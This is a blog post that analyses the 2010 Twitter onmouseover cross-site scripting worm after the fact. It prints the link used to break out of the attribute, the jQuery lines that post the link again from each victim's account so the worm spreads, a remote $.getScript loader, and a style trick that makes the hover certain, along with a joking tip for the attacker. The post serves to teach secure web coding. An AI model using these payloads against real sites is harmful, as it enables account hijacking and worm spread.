This article is mainly about the worm, not about the spam, but the mechanisms are similar.
First off, it wasn’t me. No, seriously. I just investigated after the fact to find out how such a huge flaw could have been possible and to find out what errors _not_ to do in my next web project. You’ll need some basic html/javascript/common sense knowledge to follow me here but I’ll try to keep it simple 😉
Step1: The breach
Apparently, there is was (it’s fixed now) a bug in the twitter website when it came to transforming tweet text that looks like a link, to an actual link you can click on. This code has to identify text starting with “http://” like “http://twitter.com
” and transform it to an actual link, which, in HTML, looks something like:
<a href="http://twitter.com">http://twitter.com</a>
The bug was that twitter didn’t recognize the end of a link properly. By inserting @"
at the end of a legit URL, an attacker was able to escape the href attribute and inject code into the HTML code the twitter engine made out of his URL. Once you’re able to inject code into a website, hell’s doors are open. To the browser, it looks like twitter put that code there. Boom!
So for example by putting the link:
http://foo.bar/@"alt="google.com"
in a tweet, an attacker woulld have made the twitter engine generate the following HTML:
<a href="http://foo.bar/@"alt="google.com"> ...
Which, in this harmless case, would have printed a link to foo.bar with a hover label of “google.com”.
Step 2: Loading evil code
However, to do evil things, an attacker would need more than 140 chars worth of code. Therefore, he needed to load additional evil code. Here’s how:
So the attacker was able to inject code inside an HTML link. The thing is that HTML allows an “onmouseover” attribute in a link element, which executes javascript code when the mouse is hovered over that link.
Looking at the twitter HTML source, anyone interested can learn that they use the JQuery javascript framework. This framework is loaded into the twitter page anyway, so the attacker was able to happily use this framwork’s functions. To his great pleasure, the framework has a function called $.getScript(url)
which loads javascript code from the specified URL.
By using this function in combination with the onmouseover attribute, the attacker was able to load additional evil code from his own server. This code got immediately executed by the browser.
Step 3: Spreading the word
The key to success for any worm is spreading the word (a.k.a. sending itself to the max ppl it can).
Since the attacker has control over a user’s twitter site anyway, he can control his browser to put the same maliciously crafted link that started the whole story into the controlled user’s status update box and pushing the “tweet” button. This is amazingly simple in javascript using JQuery and knowing twitter’s HTML source:
$('#status').val("http://t.co/@"onmouseover="$.getScript(my_javascript_link)"/");
$('.status-update-form').submit();
That’s it.
Step 4: Do it with style
OK the basics are set up. Now let’s add some style. There are a couple of things the attacker can improve:
First of all, the user would still have to hover over the link for the hack to fire, since the attack relies on the execution of “onmouseover”. To maximize the chance the user hovers over the actual link, let’s just print the link in a HUGE font size, filling up all the browser so the attacker can be SURE the mouse will hover over it. Since we control the HTML displaying the link, we can just put the following in:
style="font-size:999999999999px;"
Done.
Next, the short URL. A tweet has 140 chars so the attacker needed a URL shortening service to point to his malicious javascript file. In this concrete case, he used is.gd. Actually, is.gd is really gd because they were reasonably fast at disabling the redirection, which helped stop spreading the worm. The attacker would’ve been better off registering its own controlled, short, domain… but who am I to give such tips 😛
Finally, some mockery. Instead of using any insignificant URL, the attacker used t.co, which is twitter’s own controversially discussed URL shortening service they introduced claiming it would enhance security for twitter users, really stylish, isn’t it? 😀
Hope you’ve enjoyed reading how it’s done, and avoid Cross-Site-Scripting ppl! 🙂
[Update: Twitter put out an official statement about the issue which is, of course, a lot less technical than my analysis 😉 : http://blog.twitter.com/2010/09/all-about-onmouseover-incident.html ]